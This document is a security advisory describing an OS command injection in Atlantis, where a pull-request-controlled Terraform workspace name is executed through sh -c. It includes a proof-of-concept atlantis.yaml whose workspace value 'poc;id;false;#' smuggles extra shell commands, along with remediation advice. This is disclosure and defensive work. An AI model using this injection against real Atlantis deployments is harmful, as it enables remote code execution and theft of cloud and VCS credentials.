Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan

cmd := exec.Command("sh", "-c", tfCmd)

Consequently, a workspace such as:

poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() was confirmed to return no error for this workspace value.

Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.

The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.

PoC

Only reproduce this against a disposable Atlantis instance and test repository.

Preconditions

• Atlantis processes atlantis.yaml from the pull request branch.
• The pull request is eligible to run atlantis plan.
• For a fork pull request, the server must have --allow-fork-prs enabled. A same-repository branch does not require this flag.
• No custom workflows or apply permissions are required.

Repository contents

Create main.tf:

terraform {
  required_version = ">= 1.0"
}

Create atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:

atlantis plan -p workspace-rce-poc

Expected result

Atlantis first runs terraform workspace select. The injected false causes that command invocation to return an error, so Atlantis retries using terraform workspace new.

On both attempts, the shell executes id as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:

uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)

This demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.

The payload uses only id and false and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable poc workspace.

Impact

This is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.

Affected deployments are those that:

• Process pull-request-controlled atlantis.yaml project configuration; and
• Permit the attacker-controlled pull request to trigger an Atlantis plan.

Potential consequences include:

• Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.
• Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.
• Modifying files or binaries accessible to the service account.
• Making network requests using the Atlantis server's network identity.
• Pivoting into infrastructure accessible through the server's credentials or network placement.

For public repositories, arbitrary external contributors are directly exposed when --allow-fork-prs is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.